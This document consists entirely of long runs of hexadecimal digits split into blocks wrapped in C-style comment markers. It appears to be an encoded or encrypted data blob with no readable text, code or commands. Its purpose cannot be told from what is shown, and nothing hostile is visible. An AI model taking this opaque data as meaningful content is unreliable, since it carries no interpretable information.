9ebcf167f59efbd9fc732a223fba94134cc097f479efbb7f3851f0e140537cc436ff46128027248bfab80529ba2d771d0d56b319688f66868bb4fdb46c04b2ddfb57577912ba465644001f71bd5eddd93a5aaeed6be8fe466fdffa45edc0388f89fa09a26c501bd4992168a00ee10f4f402319d4e6419e0d56138dd99feb61c9e3dd46e9ef63e5d447edff5e4d765474637925d288b92d9ac03617ff2245cee52720afe94b4267e05f52d982fd21e17c7d7000a4399284bb8129e6bed9d22b2a53f76c790afeae758a766b3b0ffe4efe1c1a8656e70fc19b5516fd5fccaa553c55239d9f1bcd1b76b644742bef225367de873727dd758bf21148358d297f6e85354870f76e7301f869335ddfb4bb4e66bdb2399f450beb789ba0374953579540210dcb7ccf4165362ed36950f150cf417dfe768eb1228c873f3a77ba507b775b14518275db6d18962189edc25e60bb92ce808066fbede0bd1219c5e66113cab3aeeda0ca006584861310be18ba6dd2e3dd01e1eaedbe716749660be54e5b6b4bb290893a8a0909a231d425bfb1e7337174da9c9d9fca0557742369e2ef599c6dd9077ff931fcb5040b6c2aa1e72237baebc9ed74d7eaf6b65c052a000b5473cedd3f8f9e67d26e35a6402c2d8a62d52a2fa2e6ae5a024af94ec477e2f6260a40bf05366bbedaa0246f510f5fc27085b6d4eacb3a0c36eaf2691cf1b08215376eb4bbc9866ba259e49bb3cfaa9582c56fd7131eff61c0a3102829e2caf57a6828b016c3c72ecb5717f33c55b5a1f38146d0c8e1a1abb4ded8b379354dc63c14a07e09df4f225677bc5adb45c36eb7072d219f7aaddb727b81a78c3a823b0c9199d1cc5dcaea24413579c0a32983426fb3dade51b09324813288f2410c6e64f64698d755c901e1ccaa7a3adc3acc4e919749561f8724b7cbc27d8f47d2ad6886ae535afd8541bd211060afe6c09606c3f63fa295c1464f3cc487d64c6b378715b8c69bbfce1dd2e4caf2e116b5f28c316494abcbb46bcbbc34f5386997f101abc2b3f069d7153b315bdb2c0b07f5524e19d0a19103769c209d4d8ed4f924ced4e24cef33a2e653d2e73a078484529c442c84fc04ccf9e9e7fa9fe8834bb4bb5d68d5339208f67d6ebd60db74ea1d81d5be938aafe6d380c275065be9e09495052da31941306981a9af1ab095e93ce987538b8c590ee3161755ecbcb59a2adf1a8ec5a8bffaae1d4e0348bdc9a74d88736feacae5b8b166e2a3b2958a62bc28b20c0cdf4678e4bd540555ca8a33aa427d7e2adfc7caa61a0f42ca05a547c457f0939e300f61ad5b92122c5bdeca60d5810b4a1e2f01b8c87fc87ba66c925e3fb05c9a4ba3c081eb217d1210281c4bdad8c0f1204*/
/*ed18de3fe7b895eb0437e422b41f6127b9a13785ff1527d2586d63a2b5aa3a1eef675315491c9554adf271e8699afae09a9fda36039b987972aeae3da10fe147f2af3392a314a10005f272c0ea1ebcff33dc2a4eeda31f9b9177a18cf69c9a26a7b9dbc8c8a709f8cf717eef254729260b6f906c5a918071424b203c5cbfc4e2916f29bdeda400eaa1d99498506dcb469e92911f7c8bb73c34afb3a689caaf0be5fd6c17fd1093dfc37c741e3b4308c73e00cc8a91391470bfe174787bbf097b1f744e413c92a2938dbb15649e9a3930f75afb8b84d22f8ff1a961bdabc641cbac44cf9e185e02041ae32c1b27f7182e3b3ca4e72bcb9b35df9efad1b4731604eeef14518a41ca5def8af71db87b84fc32ff6c5ba3eee73b5b86cf6f6fba4da2ddcc32f8035dbd94e95912b806d40c5510cde179867a8e168663c53ee0fa50e9c21f1910a59d52c5a7d14520c8b70725bd768f059e42d7b2475cfcfdb0296a7d040a5f63f716cab7ee0703eb732facd198189f02b8bb997bbd464cfa80d40f2a60fdbdf0ceb29a132f39558635dcbb66d147ae99be86289e6899d0eff283912fc585f73e5781ce5d8795632f9a59e169807284ba18465179e25f78cbcd5b83636e5394112ca10b0db0895a4894e7424bb3b36a7bab33e437542dfe28b95f8d3532b185a87eb37c62e83e96456b21b7a1577e99939e8f988fb3e9ed3e44f56ee6c0374294b0ebe5eaffa3bd9097f81a928e082c3bb92d83f1fa29577baada41d7abacfb6190eb322fd4235516bd7fc62acb57b68749d21e16719d8c910ae31e3d1004bca9ce2ee5a0f5ce8b36ace3c1b5216c014270b250adb3cc75cff1cb3ade892f784ff9e5122935a802565924fef821f0241397eda62af4ed2f8beeeddf25ce31c70fd8c8664076d4da33d3e655d561ca0d31b56082395a1f2388a832cf5bbf5fdf30e7a97a76d5d5188eb6bde039331d1073624ca52568b95b9ad940e443097da319cbc7fed96403c146a33873cfbc27c93820b150f188f2168eca2af841ccc787d0b8a6fd6a7a99f29ac48ad457279c43d1f45bd70e52fd7291e973dca1e3740a9a6072ff2ea0f3a20b90606ada29bfd0489ca6d555e306c2ce116000bc987540dc94503a4b066583c675f9bff08a009b8f77c14396d2aedcb7433b2e801bbdb94d2089b676d9c1dcb3c4195b834b20602d41cf805fb58353d47094b3f682cd8386d58fe77eac275768ff73e5830bbbdf42bd5c861cc9f56990a1ce849d08ba81dc165ce900e0ccd1311e43a7a358dbba82015f8af93ae2804175f37ec5626e0443f108f190e3950885fb3aec074adaefd08580f185f4700a5074155e635962c865bfc54fa5f6dd3094c8ff38db17e99aa904266461202b3c62f8e0845eac9daa9217534c7b055f5a40d232660b8000ade68f3f58956153bbd5465f1f68ce602d2955a0f7ad4750ecc0fdf05b07b43c6aa4c7151f97424770e8607a6197741902c5f5def740b9307b47b9e5b70c80af5ceab08ec9314c97c6ef2c0d8d2f138cc6cd10215ac3253144938a32809b6e17f541dc0ec252ef8dddf194f73be42a5d24dc92d0487d7695918ef79514fd151ce038c205df6374dbd6af997c98d14c56f6cbf446397fd841a8bbbc716dfdc593599075723fb6137b50d67f2530eeca55ae6adebd9ce4a85e31ede9e2331c8a52261e49da55f4a5ff575414c87c3cdbd2d84e7e0cba70923aecab2494eae6042886e72157f861c790ddf964fe56732838e2b2dbe5e5e7f95f1989494119f085a5c70dda03446c7a0193951f76bf3ceed72a1927606c2f979b0d8f851d52fb747ece6237f9ae0e1a7a528e8944c2f47b274ede80f926b747d3c993bd4d4feb1b146f639f91ba1b7e55922705b85caaeffb6052195f408be7fad57eac4e27a9046bc97e9e86f47ffb0867c9eb5576b3bd15491938b580c0855db7d42982f2c147ec9ae53fbc4a853c2f42911d54b2595869f475d5e0491661b9badb8a9c864b024230180ce40d077056d91200ea24ac479b6843ed608f00918a6a31f590571d6ad2c3f74085c557f312da293513dd8752cc977e075a0611242c5e4b7db09103208d0780d39a8e98549d3a31e5ae041fa6dbe5534a13b700f7928199f405a55493cd82d9e377470e6905bdd28bf2be3563af724d5720e0d04828fe88acd59ac182fbfca84c6cafc6694994eae65ba88d0b3d4b400e8333a5c75b5d5d479362fb0cfbb7f5861d93e117a57023186281675361d14e8126ad64fb529f9e3c2298c9c039760e1c1d51b207bf831542133bc97031ad85e205324bd71594490bf1cb7a926c5461309d11ce607b66540246121f1b0a110c68d28bcd55293d1c59b65f9e9a7c01de6c0aa58725998ae20fc4f5e91bf2f284e2003afeaad6102788a56f1ed23517789355a2f2912db9d7e559745d8200d8f888ed00d16694a10755a899a2cd9fd1ea9cc5a6a35595531225f6a15dbdaec74e20e5e6d15fa37cd16c27fa05646c21d86924a8898779ba35183c6966a1b332e814bff85f81925a718d04eb79598d364a60d8ab4b8f1768db94d0ea75b5ceeb2c12f7903b29e96bf6f57f9fb4baf91653c8ef487b96ed8adc1841c93ab4e9ff3bac2a7117fd41f724a626d40a12156bac6060969c0f0803d9f2b28e75e943d670109ae85b845583e8f4ff820534f374d42d04ccc512a24efbb46b76e343402141b48a6afc3bcc209d116a09e0e50f862acbedfe6af6ca0a83f467cc2d5e1dd847b6905df65a21f29a09f3195d5e4c4a253a4073e1ce5a216c775779e6d9bd07bbb6a00f7b79f3745bfa0772bc*/
/*d8922cc7c6fed20972c26ad05af18a3ef83744815a8de39d510ecba7fc2de930985c0e23bfeb126725ab7a78e27caac408e40aa3993b018134bc9c314e485cb62e03c25d5c4ebd67006ce34b80c72b22b2d2766d6ff076b60eead0109bc55ac2a2dc850ec907517ca4c7c3572c3287ef2d92e9cbf0f90945e030e50ee1df50d1a1dd58deb135ca440c80a2b37cdc5012fba69998b997bc4ffd195f789ff149aa764576b7374aaff08edabad6275a775656766196ab0e63bef4ad41a6b3780f1106f7b48a21cc25e56fd170765967ea4af7ed370fc9b0bd8946d38aae61397e07d1856dfce6b32d7de7c586de6bbeb7ec4a5beb575df5dfc9096f5b32a39f3be7ffec8d2d448f21ca69c02f043a740413e55f744502c9ecabadcadfb900b883a018c0a56f773bb304fa7488a496cdf35856975bf2f0bd1ec0c78b0ca5769218c914371fd4d65fceb855abc6142286401984366df030af9d5471f543931f470c2ed39287893df77a386d984e98afc2af3bdb297a8c541bbd40325f2b3f27ea2f463b15accd9bee0b9d1bcdfbbcf766ea53bc6d591dea7866ee618c886a3281c55d3cd384eb89814a9994cc597d10541758e57a20f2afcb7b4c378e297f05f9addffed7374d4703fb54ea4e174ec36274b2bb211cafe59d8ceb7d2de3757b37d3599950d4e1c2b2d45bee85e23d8a66414bf3821d57acf986e5775818e4959d16ced830624b36bcfd065849fe079edc9595fa10c297e30740ab42bbc6db1b71ffb3e039bdf4569c137f2dc0eaead1015fb7c6d6e976f4d597cfff021743d8a6a6d89c9c72d73434368b24d514ddf85713c5a9ecd9bd922bd3f78ca90a8e4942de9c19c033ada111c3ba801b3630b2020814b0c7420bfb08b6d862c8133560b1274dc90ac9f0e83c4bbec3afe0fff57bf57f7c26ede65b763a5af6e35a5b30b34ddcb7de538cffe1fbb1fd97fafe7815b3cf7f5bf06aa6c65ab19611d0bf21edb351ae8ab47f679eb1aad6a41d70a9f9333342e33337700a6b56c48a4609e9dab11ffa9ec3ce9db08c01616ee19ec1da7148325e08373816d7db01868964e8cbf9999cffd0dd91e00fef8c0aeb7afaecb67ff612869d139196c365dec5c4eeae71eab536d0f74db6e7cea7fc1a87d4d7cf0e7771f73bc5f07015651f66bc5ddb7ea3378dac597039ae1024aa2a62cb01d1ff5b1d6977239545c9b3d26912659128e64ee85d739e6cbb0a36a2343ced439d71faa987717e36a4a15d99ef07ac99274d245cade47a7c230933da463ffaa61db909433a2b312fe10ce52b6259800bf6e454eb7744620a7abf7c183ba60e8bcfd4a19353e0c6c0c7e6c33603a9fb08d2d88a22be58016cfd488a2b3c587e68d4ef421ff0a5094e3677ad98335263ad53a46bc0d2b868c02602dd06bca579f0f0c050e0f251f18433f18e0008875ed00e37b1370255cf963b9e91729fc203fdc02bceae522dfc1cade181c1f8eeef16ba17528e9eb9ee42edc8be2729d2b9799a0213608c3467e10b074f5c6d46a648386043d1d5a0978712e9cdf856488ace8957a5c82a9ddfeccbc37f26b65f880fb5ec6bd0212e78fb3941af42e241d167221c64dbe24fcf01131a1d50847ce5d711c1b705d0742f7a1ef0b81ebb0aa584bd79873821f4006675f8e8aac5b4c05349927e6f6dddff905f53ea3a934dcf9387e9dbc42ca08ae2f2fc7b896018a3a4cbbc3180b96f8bcd44246950ebf6d83c5f2609efad9a3b8344ff671e560596fa2fcb8a2e5175919534b97a27e25f846d6eaf686e981bf2c42160a2bff500341c387a38c446e009c219ce283d27e5426fbe252e9195618fa66aa2c3f1460925b0f1c13c2ec4d9b96e864a7bd98550aa2e631b844908db65414fa5fc893ab7864470aa6abb4d0a05e4074d58bee8747009593279a26c7029a414d7d9540789b70eb455467022294fc59e8723f38f6c004091d92cda4e7c6c3216b60e283295671bd1aa422adb5f7dda57e36a7e6bc5ab56830ed4a7c5b48c30c467cca7410e698513ed4326fa75e9fed366d4de6bab1dc7fef0d5f4a851ae8e7ecf6a86cf8ed89b75d191d4252e3159b4ada77e8998a52d2fc8d6cf49de0d1aa0cc92a89c47f5c6bbcdb724b0a2be98a4dc5676d960da512d26c816e6d2cfd79b8d5d517dd821b7320b21bfc929eba77764b169370bca6d8acb685e3fd97860c7947429feb8c0cfceeec91ba70b13934138e590963c5caa9c9bbf65ae5ad5f26c82bc33071c0b42a1ba91db22d456be7178f29238e17e64c2bf2169612f9a202a68ffe18558ce0b6753309b0f0805649d3ef87adfd8bc7a887fb4ceedf821ffe2a6fa0ed1d93591a2be11058bcde9086b313a139a3df47f5e004f32ae9cb018ce79def6edbbfa581e9ca400f9dc6d2b77fcbb5a2357ef38f6da0447bbc6ebd6cfa14c0f9a68ba644ea7858dc604dbc21abc8f80bf31270d12215a68eef2a9e044bb9a4cfec0b91901aa6073c45b1be6d4d60648ce8a69d37708ef5bf2160d7790f1c62e6952fd6ddc5c62159a0d63e2051e411a65260e6a84bc17b7d0c3f53bcdd8291d8b57f3ed1e01301839c9a0fe2fce7000caabfc99b2efd03e30320fe27c0ad94ce3c912d7f822da36487225a1b284724d4461140ca1ff8b670c9a37852ea2714331d3e98733efe7cb0e72c042178c7a2aa6793be966e17c372d53812ef9228c5f5067b529aec0609cc4c6cf095d29b4aab4d0d1c9081e2d8969407ed41262c22d47891ad315871f4a7868b7b6aedd35f7df1e743fd835336925395a1e6cb702f9f543f5db3e45d440610908722d1fbb5c48fac149676c*/
/*dca294498625a511b1a0b88860d184d64fb7d197de59ffbc0965ebb4793762cb505a65af0dc049287d522f95882032293b59c6fd3f14dff6a621dcb8da838d560c5b1c6139dac73ac21d116d61509e8d26fd229ae4108cefd20d2494caee47449faf431fe5cf0afee3099d81bb02a1b342328ff4a2518097580393b324117e696a490963385f8313e30a9259b922681057ed86e74f2ce372714bb7864c5da2ce6d85c31d004d10ee9f8040f943ba4e680695a36d8d402f902e045b455aa72d42eb998d633b86d8c100e10c7c1e833d2c7f481a7732e3429278f07a08436eab56d666089eeb67b74f5678fa31b39e52cc4bffd0814134066f0013f5a4a446ad2640dc249a956cfa0791110d413682410cd21e1956035f7c5b58024670609c78ad74bdda784c0a647ed0201a91b203db224616f6ef7c032e343836b3d6afec1c7468d06240c7e3026afc966c5b4797badca745f20c26b735786162b3b3e44a973fb1226ba358c5f906fc5832f7b3556459aa8e4c87ae668c9be523d62145310c5bd2099347d07226cb10d239176c38d36e00876475cfefb932b9e025d8b3bf261fda86a2fec1ff4db94a4a17c554c833cfebd0c8077fc212c504a8432aa4d47a570e5a0f11563be4d177a64e197d8bdbc6fe82d47d8314e3fd0e054ff394d570187b53ffdb70751c27c9403eda2b5fe5e4c0c12aaf3efd25cdb01cf8b0746e3988d3c7d353bf1ac053e5b024c238af8bceef9ba77d205aab30d51b4cc62a8cca956fb133de2bfaab2186d68069e17626cb0378c33ef0c8402cc605774ab98afbf79ab23d6ecf3d5aec6e30cfbbd1d1b4604e56387c0d517e041af9e3593a71e49b66d1c81a3cf9d1390669548ea7d1f1c807002e1e244c2b67470cabce115767f5c67a0134c9c6c0964393f7d0c1fe96fd3ad7957b86ed718ffc5afa978512eed06af30681206698a2e666f985011641ad2cff5ec99daf87bd00b71592ec6a0e5c1ef314de3024c06c9d75797e8e029c41ddaa2e3b9ffdc550f7dd1c77f4bedd439c832e90899602b3a09f37ff526a11f7e552091a86f0fde649822d5a23c93af39127df5e446ef3fb1241ddfa8f07cc7290082f61801812ff046a380999e3a8665b2a8f9e9d02192d31743597878da03350e214b371adf1097ff2cc3412fcbecc356fc5d06fff4688185cfce28358994fc17713e27f14d590e8f53f36158e1826f3c7657dd009ba934da2439c3439353b20d746a854b8b2fd3fc48b43c76d112cae4795f848cb3926bf0407e35409c5e2fd8606fe573423cf97946e2ab8de79d59b84b852276bf99f641fa9fae87c45e0534b8b40b2422dc23e0bbe6e303c9b55327373acb8efd12064e2b54695e00f04c86a306c2a6f05838e58eb9d988e519ee1b9a0a3783fb89159c8054581428eed061cdeca053468315af25b54a911e1fc7b79ddafc58dcfdcc49f7ab9e317eed926ef682b51891243bb3e38b2eac7ac35d07793dc5e67d360c49f1b68449537e2c370f64b771868a6fd6d55a1eb3e1fbcc446c585fc511ce88c295605cfe4f2e7c72c15969b50b058b8150da268a0199f19fa327bc78ebb096a766d9157e7c911ab8ecb82fcd52576db4f3d1bcf9dc4c75bc8760ec24fc138114e4a0ab4e6e398db571b46322dc18d14962c226d86e0e09611881fd54a4f70630dc605f2b5d0d2644ed528c1bf34e41d85d86fdce960e06f8223a56e0760d6321c16d0aa027187e9abc5ddac3fdfc977c85de4211f7d3eb15e0dd26f1ce9b3a422e768430eb704281b44bf620741cd3e9c799538f60279378c29fdba577286cfc24ccd370a40ad58221cfeffcfe2c0be80c4b6255ba29b2b474300af6f4acfa134859cdf3366847cbaaa20f9d2bf9caf9002226334fb9d99369626ea3204e3d07fee8cc91d8cada990f5a553c25e0942cd83494f34c7187245e4a1f7d92fce8b38b327ea7c5ddbc4a64b03637aa91de1c7d13a448736b23c188fe229595722bcd90dcb857d5f58ac6977bc3940696dddc09f52e0272005bc5e11c5ccd05b0d9bfd8446278e23a7c64a6f05989454c98699630aefb0bee121d5ddf03e2fe6998f32b45b7fa57c238dc4d1fa1614acfd0d4177ab8f0c4ee3d0381aaff0605064336583529dba9c39a077b9292476d29c033d82d12ae232b001ec13a379654c69b44dd18717b0a98cfeea9715ec0d18b5422ed695a1576489bfb4eb7f81ace19bb9413b7a65565bb3ef8c4f5f83bb07bb9158e01a3a710b74c07a179862e55239903d5f27f74969a420ee1b4419fee0c4f229b42e034b035cccb39ce1c8f4f2027b6df80c15027ca4f49a7109c8d09630966831695f0f034de81eb9403a45d835519122b30a4a9206b72027719195e094631251903ac6d98c542ffc91028a71b472be95030c756e1cf0e6853e0f4e87eace28abdeec073900901a2ec1c94678e7fc59246cb9849d65e4bd00fed536349b08ebc3a4d04fa72436219b5f2f1484247051292d8224f2f70e81809bc5308e4c0a2502359e1fb4ab2f2f9861967526f2b4deef19de6075288b6a2e7e1229f6f89407bcea117778c991ddb6e7435dd96c8d8d13ae312d60a8a3fab8b9281d7e89643bbf8afa45ea28329536d3e4596d0738dfff641bb2c7d8a9ed7bc3b3c0896f92b6c816a3663bbf8f3bed9d7201f30ed292bcd529ef01ef46bbeea5ecc74ae7e8a335ef609de19faffccbd12aad1e06f4dc80c30b201f3cb02ec109aa30a7f6b384ced950a6c474e468cf15c36196bbcaf119b03ba55810a844fc842c4db5b567972168ce60c1e946af32aff0976d8ad6c1fe77a98f1830*/
/*21fcfca424dacdfab7a30808860ec4d3710925f3cd748e100b4955dde51e7bd11be49383dd096d1534718eee89ca68ce52f7c539fc39417f78fefd49f97232b8df52283577a1da7e1776f5f075f39612c566040d710223f5341b7e25891352ea9a94e7e0c61411d2668171e19d8986a299cf81bd6a1444be2df17a9172a36e6306cf0f877ad3f0136595346bcc79e3a2177b40de9f481dc1ec148297c66060a408ef4f4e46fe5fa3f83ec1047b361e314b7147c33ee1268ec8ffd480470557b57b18efce76f0f978d0a4e24e0e7238c1fe7f74a8e611cadca62ee987e58e202870c09ba77cdc7e37208d7f86d15e24750d28dc322a8617a781360f09468fb30ac3a1ada85a7f0f53932cae187f625bd2e375719565da693dc6907124cc4168773ba04ca0dd503714806ff6969dc96f96776db1fd8def198067339dcf0b9ff418dd0d363735ad25f2f48ad009a0e6935f0ba7c82b7a461aeec7782f10d0451d30927b25f1ffe34ed5baa023ee07c68bed387a48a787bd86f2a8c6e0deafe8feff7a579418e0380eb88a13fed33fdb214ce9759df2cdf334fc5905d51b64907b26465a8ff7b022f1acb67fa994a2fa93ec6aa2f360973a8cde7b33531307744cc4bd2f66da273991ad8b76c9a047dcff16145a2f812ac68499f11b2bfec362e64847cb7ae303983ce7edb82c287bf954815d0816bc20365d3e22fd84db6735c4e4ff69f0020b8c57f229d976c8cfb5b419f5679fcd61967b08f4d519b225f7f8cfcfef31d13fbca6ef5d543b3bd9f1881dfce16783c8ef2043d0978740e88e305a7a651812e4d2ec97821b14bacb55ef8e16b7efac47c0abc72261fdc75002014eda2e061915b5f8966c6e808d3bdefa713277bf9e12d155447f04ada0e2efa671bab2d0de3c7f0de604fa80566a03195dc09346b8bfca3ae48b47e5092ab50473426800f4baf60b5b81f85920fe0b29d6f8d7a8b454d6fcfabdc15e47ef0d2221bb200b416c30724d3b57c5e0fc7d5a41402f3acbb6dfca10ae240318fc976f4a69997ab7f27c24e111fa364be145c74f4741c5a07501425616e421f5c1c6cc81fd4f3aa0a653d5929619f1e316eb3edde1f50e8b33b2ea792d343f6b9019adea6b9e9d8cbe67dbe412c4b059564cbe6d1d52db51e49c89a313fd53b8702bea700392184c3baff8ce09ecf53af01c9f9931887486f52c9362449b5bba41affaf4fe72180fa7127b6643b7c8a8b9fa4a42cd877c0eac5167ae75897054e04ccc36b4cc9d1f56dcace25aaca63a693c8ba221b9fe588f20fb55212a7befa8ddbb12a784da4bf0b47c12892d0164b0072892c4a9eb26f006806969dcaa79af67dd57fd446e98f7988a86911e61dc76c7b6cca8508b8598ba2d5fac499f01e6dcbafc745b711290d7ab2caa62a4bcc5586996af2370f85887173e535eadb06b67189038eee52288cbaf3fbd3c749a114ef9a5b237f1b0881d328a79c6cf40d2e5c7fe0eae2cdc82d6ca24472c9b36ead206ce9258786b0c83be0cdc81286662ae432f84e577ef8e99af26ce0a0c53bf3847f5ab261a882075c1b28fac6cc7daca94bc56c30b9ef8d778acc5d92d361223288278dc6770d927e227adc7d14b12ca7bf5f586e68c3f5a917caca4b3eea86ec18cf5f620ce745a95712d48ade34f2de0b1dbbcc55d9431f692666c383eecbdac57ab3d5838a536cac4ea941d439377479b467915dff0e1e1bd0859574783c2c0386a88d4692c582aa23ec9b8fac4754dbc90e4d4a48090893a99f23fa0ec495838ed00c2fa9acb2716abc7d12e8ef3e81a2d906c47b256edb63fffcc146073e69e38bc9db3c685020932b6b42b7f37ea5ddfc9389c6b71954c94416779f96b0e1f45bc296f73810559274ff45582bd719d3459804e110284a7154da543ca760fe73d4743b23411b2ffd96eb80efd5041fd5ed9e141dbe8d97238ec3319d35a064331325f583fe0e67b085055e0ad0beaf134da4c427f19ef766adc1ab3b0bef23cf9e0aabf4fe36b5dbd3999ec6a08fcbea183fdae25507750f75a51d146257d3533c76e0f96326d5f078bece63c33ca83871bc0b541b28da0a14875d4c72b2b4b87d0642743d51dcff71ca2a65d23917474ee412aab4ef0f82d815991f7e123a124fc3910f7d5a296ed50c7ee84736e9b92cd78d2b17977bf53d979676a01ec395785f0655c02d86b3ec8120d17ae038eedd579a1a5c54f2ad071505882cd90db46d63d17d439296b1af7f5097f74ecc344ae4803a820da90801d7c10731fb2c44307f6ce5da5f902c1041e3498bcf35edfff15b7df25d8643de4a8b56bcd6de3ee692a7ec822f5bf43ad2891101a02303726a448c6a14b5e4bb5dd2109554611db8e577e50e09abf2bcc23b1bf60a8667a4daf8ea250ed52278477317daf20d3726235eca252235bfd8b5fff0a35b4b5003fc7ca73b174c8f5865c86aa7f8e4d40b7fca4801357ab2c25a13702137438010cbce3116a4ff77c7f7832ea81d819c0a54c7adfa2efc71f3d87666b4f4369597716901b3e4ca226844c3f1a4683b3c7e7fc6f7d5dfbd0c7c8ff32f8f33d5302f81993b9c709fc18634cbe0211e96fc8f25b399b88b69978dbd73d8d4b88dce6d9621e587341235625759d9531c68f9a4a9ad06d20924aadf40348a4db95f4af87b12aa57caf398c58ac2d72b54b23bee4284640c9890dba7421f19fdd8e4088523becc5810efea00d62dc7d364342a26881e9eb8f2731454970ce571b6e8025b9757b66dc49e2e52b5b2908924d624960fa647c2eb228d14064eab77d9d1dc96cac599d17ab5fa9c1dd78f6941705*/
/*149e16cb5fa63bfc3252e26f2c44f135f7451f5329bbf4f36bdd3f6daba70eb23d5092fa2beb20a9e246b489d116ffb0ff97bf91b182a0912e997341e504adef26291f24e95733974c4be5a0a7b56b8a123ff16fcf2f7cf09d458c4c5d9a2bbd1143320b3624f7861ce40eef7ab6b16f6d1b892588c0784dc888f5f0f6f0092b5730d08b7a2eb9894ba23c2050d0e88016edaf0b39541f9f4b351aa3cd40630a65871392506ccad5904df4975f85e8316010b3318cc3df48cdc2c3df2a7d455e8616de26275a3f2ce0f9f5baa774a8211fdccea3724eac97bb5ea555170d3152d9845c3b028ee8b0675c91f6c6becc55c157abbd0e309e02f3a02adfe446ef59f5d9dbe6323298bb5d3d7e0bf748aaf516f605f18a16f4281c038d66dd9ba807406e920da0641b69774a28ae33f7776296ed4584fb26516dab77e1093730876eca4a435b891ffd6ed5e0dcaef257c082d58a9532a61e5d778bee4228d7186467d08c4211351d2a0fdffc7ffa3dae957bd9caba8ea843da1d84af7a518212d796012aca54fa845a386c635ff0abb8932ec093e746a12501d4abb65755ca23da1e62f6ee517d996e80e5e6f0a40fa30a930233f9047187d8e8b7f105faca4b30f6d40e3fa5f091b80a09d7055428300216a0079cbdd1ec3b3aab53c00952817bade431ee59d9cc94f1b6a205f713e898df29abeef31ddd317e852b68823e2f896e4c200195b1ecbd57ca0bdbdda130348d86c039c206546dba4e299d7b8fa208190879a5a834fbd86ccba66ac57a48fb9e80a0ff7c5dd75b6e42e30f49ec09c08da2796dbce286246e077b5663ce7f53966553613aa1d2ab0c44b9ec4fb946fad147644a2325c52a50f56cd3dda53b064e53ad11db388238d155e6c189395e136a32ec1e30e8c48f4188649194a85bccf2d4cb0ff98c83a8a352e613c73b9c2d193924a511b3b5365f634f189e53d01f6f85f8413c1fde6326167a76a179dd24ce498cc1e9725d66eac760d23bcbf17600dc6168b6cab45c3be4d1b6ea75403d343fadcbad02c6c164defc533e710b0c5b3b8fd9dd63b2adc0d4f7e76e8212ed39c801298a64b9764f42775bcc0153323e660811b53f0e3be8f17c5b0f8b43e0ad7aa43c5a3e2d72a945fbeeaf233dece433446d4641e815d153ff3331880cb03a0c46947d9a8b3a33c57e5304e244f913a06c7c3c814eca1aba0b697ac24f207c69713600980e93cba8199a4f3ffd9ba00bb528a773b6c3aecb1b83d98a1f28cabd89f7300db6897ec8f4146690db91dc44e0b17be3197d7d8399318bb7af13901c08887b7f8d107530c6f8415d83760d74f52f9a2bcca238b742af5894f690d4b94c2757b55f76cf057015e0315d8ba94f6e8decf3abb24996aff495190fef7bb3db1237133e34a49e67f8c0e1a0063d65e437f8c0a471a03d4e3bbb6c8c5f4b2eb3525116fc0997098d067be0946d2beb856d1f843a8220c8ea237c1716049fcfe96c06dcef8edf495e5e7386d05eaa266c28110d08b57e7c6d0cdcce8306424757e5e61ce3aecd5415cbb2a45aab10216b0577b81a0b917697e54782e32bf87dca6b8017599a953531a7d3f697ff211f3201f50a77a7033e675416e1ec5604f7ed52319fd45f5c7eb5b36ea5591822ae93fe44711c600899ed6b4f87b71c782f95cd1153a8a45bf7e20883a0eb2374a465965088069cf5c4686812722a85d8beb1819a832821281480fb2cb10da58d4599955c62a5c7f742931b20e5861eff8ca04445926dac0eeafdd25f928d6ae860dbb218d2201873fb46f85ebfd98f2c29406ef352d40eec24f64ecebdb8a7da6d4b41d23a8ec92bf9be4b081791b5336a79bc37da8de007e894db76c1d3b9f339390b6430f94a89743bda189b47d9ebc7a3ca525ae349f9a967024bb47e903431002acb391382d4d9bcd62a866fec4afece67dcb7b7b509e2c98d089d928db7cc4edc1d3e6085d19812ce0676e8e47e80a470005525446cb7f1cd5396e7557b9dd9da948bce8f52664df56b6c5e005a60308eebc017087162473ef952fe0d15800c36bd36902b1b247cd9b1b16424f7eb367720adbf4e296664bc0ceacb2db97310584cf52764cff0d0a4098a42c54bb15044191a3f5afe08105a72c3f66f0a990786956ba40120d53b978c59ed5f1225d0d004a5e6f222c1926976a02afa39066f8e92ad93d028c827f2c5f063af59bba468db811dc0a210b98f9d8aa2915d69868b19b8f3d24aeb6dcfabdf1cf40dc5329b703ef7745a55596f32711771063ad9ed4773abf7f4dcc78a2bd96b95fef81ec20c7acc78fb739a05e6e560230fbe9d9608dee8d3d685f90fdd01fd9f19e2d13679571c2a9fec1259ce55bb512f8afbf900178c97179f81caa6617b2a9972c8c45b41ce110d0ccffb657857044be6072ac97f98de91bdc4a04e9df22f21e1507b7a43dba84053fe8700f28975e996f09ad938149ac3d3fba7d62f72968736ec5b12a29c86ef057fdd0438d36a0ac86d5f2b70bc14f06a6985b8bb6407fda009f8dd4e992790710aa52fd27e876d2b681796df083cf0122bc101bab42a1da0e48bef11a9dbb19dba5d5610a039f2d45fe1959483bbb689d941452e0797d63d1009f6cd93bcc18746c60c4ba64aa3b6e06b7679d04a0e4b0fac39e74ab28e2a420f04f0c77e176c56a1eb1594a254852a09c9a2c3003b8e1630c6fa1e7692470ffd41ee5fbc12ba654b4dd8fbfe7465e132f6ebb8172c3ec730d1ff96874e84dfb3f6c2e3acc7b69e613244056e6948fb6da7537e088e7244f79d6c3ad557ef324c43585bcc7ad62d425511312383*/
/*6ab28840d0c1c810d7ca07b4cafacc1086ce4f8511ac781b1c7141e84b1d2a3abf9468b8ae8b0c8c27f144580df3d37243bf777236e04802c4271fee049e4ba2ed38bb444745e59d190efdbfdfaf6fe43ef9aec954f7d9db952845e166ee33b0327b66f574032940db03199e39daaf36dc0462edd8a09870e9d6da936d4f41e4cf3e661c26e5364593e7429fe2b4252323d6c4c7cfe6c285f951eff7ea719884b2446aeba8e2e8ae9ef4795f03f703ceb9780f69e973bcc4d0d464375b01526c6ef815032362c20d4812de851e83d7e7e495ea3b8fad76536d0e94ac5a97f4ea71b562bf9d8e4627f3f6174fd73190e656b57791a24bed8e99618dfd0e59793f49d89a5a4e42efa6fa87aba3cec6c504a6789cdd6c7cec9aaa637ee0c2d93c331480c967198bd189007c97ba8b31bac56ac3d81a1dbf1ae4f546fa7cd54f509cbdcfb89cb2372b6980866e801738cd0e52a7c04f6ddc4a5d0eb8a29537b81a6fbc4a86b1716882bfe9613e865acf10708b02cb3e02fe05b19bd3fab83c7f7240b1da861d35e18e44d077c52c3f62115242746d46677be33e5f4f00b1e8047c59f98540e0798f876433c51f5d01bc447db3f63b195b868c40069503f4d9a61e8468ead937a6a7a3e7ba4892eece091b400bd1de47498a1b8c115932aa35a513ac508edf557e33a6f7008c82e494c9317fd89d2b218c